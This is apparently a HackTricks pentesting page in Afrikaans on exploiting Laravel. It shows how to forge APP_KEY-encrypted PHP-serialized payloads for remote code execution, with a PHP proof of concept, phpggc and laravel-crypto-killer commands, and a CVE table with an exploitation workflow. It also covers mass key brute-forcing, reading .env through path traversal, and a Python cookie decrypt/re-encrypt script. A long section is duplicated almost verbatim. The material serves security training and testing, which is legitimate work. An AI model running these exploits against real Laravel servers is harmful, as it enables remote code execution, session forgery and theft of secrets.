Laravel

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Laravel SQLInjection

Lees inligting hieroor: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Enkripsie interne (Laravel \u003e=5.6)

Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (Illuminate\\Encryption\\Encrypter). Die rou koderings teks wat uiteindelik na die kliënt gestuur word, is Base64 van 'n JSON objek soos:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) sal standaard die plaintext serialize(), terwyl decrypt($payload, $unserialize=true) automaties unserialize() die gedekripteerde waarde. Daarom kan enige aanvaller wat die 32-byte geheim APP_KEY ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inject die geproduseerde string in enige kwesbare decrypt() sink (roete param, koekie, sessie, …).


laravel-crypto-killer 🧨

laravel-crypto-killer outomatiseer die hele proses en voeg 'n gerieflike bruteforce modus by:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.


Werklike wêreld kwesbare patrone

ProjekKwesbare sinkGadget ketting
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN koekie wanneer Passport::withCookieSerialization() geaktiveer isLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session koekieLaravel/RCE15

Die uitbuiting werkvloei is altyd:

  1. Verkry APP_KEY (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
  2. Genereer gadget met PHPGGC
  3. laravel_crypto_killer.py encrypt …
  4. Lewer payload deur die kwesbare parameter/koekie → RCE

Massiewe APP_KEY ontdekking via koekie brute-force

Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (XSRF-TOKEN en gewoonlik laravel_session), lek openbare internet skandeerders (Shodan, Censys, …) miljoene ciphertexts wat offline aangeval kan word.

Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):

  • Dataset Julie 2024 » 580 k tokens, 3.99 % sleutels gebroke (≈23 k)
  • Dataset Mei 2025 » 625 k tokens, 3.56 % sleutels gebroke
  • 1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.

  • Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gekodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).

Die private Go gereedskap nounours druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volle dataset krak tot <2 minute verminder.


Verwysings

Laravel Tricks

Foutopsporing modus

As Laravel in foutopsporing modus is, sal jy toegang hê tot die kode en sensitiewe data.
Byvoorbeeld http://127.0.0.1:8000/profiles:

Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.

.env

Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd .env wat toegang kan verkry word deur 'n paar pad traversie onder: /../.env

Laravel sal ook hierdie inligting binne die foutopsporing bladsy wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).

Met die geheime APP_KEY van Laravel kan jy koekies ontsleutel en weer versleutel:

Ontsleutel Koekie

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

Kwetsbare weergawes: 5.5.40 en 5.6.x deur 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Hier kan jy inligting oor die deserialisering kwesbaarheid vind: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Jy kan dit toets en benut met https://github.com/kozmic/laravel-poc-CVE-2018-15133
Of jy kan dit ook benut met metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Nog 'n deserialisering: https://github.com/ambionics/laravel-exploits

Laravel SQLInjection

Lees inligting oor dit hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

Laravel SQLInjection

Lees inligting oor dit hier: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (Illuminate\\Encryption\\Encrypter). Die rou ciphertext wat uiteindelik na die kliënt gestuur word, is Base64 van 'n JSON objek soos:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) sal standaard die plaintext serialize(), terwyl decrypt($payload, $unserialize=true) automaties unserialize() die gedekripteerde waarde. Daarom kan enige aanvaller wat die 32-byte geheim APP_KEY ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inject die geproduseerde string in enige kwesbare decrypt() sink (roete param, koekie, sessie, …).


laravel-crypto-killer 🧨

laravel-crypto-killer outomatiseer die hele proses en voeg 'n gerieflike bruteforce modus by:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.


Werklike wêreld kwesbare patrone

ProjekKwesbare sinkGadget ketting
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN koekie wanneer Passport::withCookieSerialization() geaktiveer isLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session koekieLaravel/RCE15

Die uitbuiting werkvloei is altyd:

  1. Verkry APP_KEY (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
  2. Genereer gadget met PHPGGC
  3. laravel_crypto_killer.py encrypt …
  4. Lewer payload deur die kwesbare parameter/koekie → RCE

Massiewe APP_KEY ontdekking via koekie brute-force

Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (XSRF-TOKEN en gewoonlik laravel_session), publieke internet skandeerders (Shodan, Censys, …) lek miljoene ciphertexts wat offline aangeval kan word.

Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):

  • Dataset Julie 2024 » 580 k tokens, 3.99 % sleutels gekraak (≈23 k)
  • Dataset Mei 2025 » 625 k tokens, 3.56 % sleutels gekraak
  • 1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.

  • Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).

Die private Go gereedskap nounours druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset kraken tot <2 minute verminder.


Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks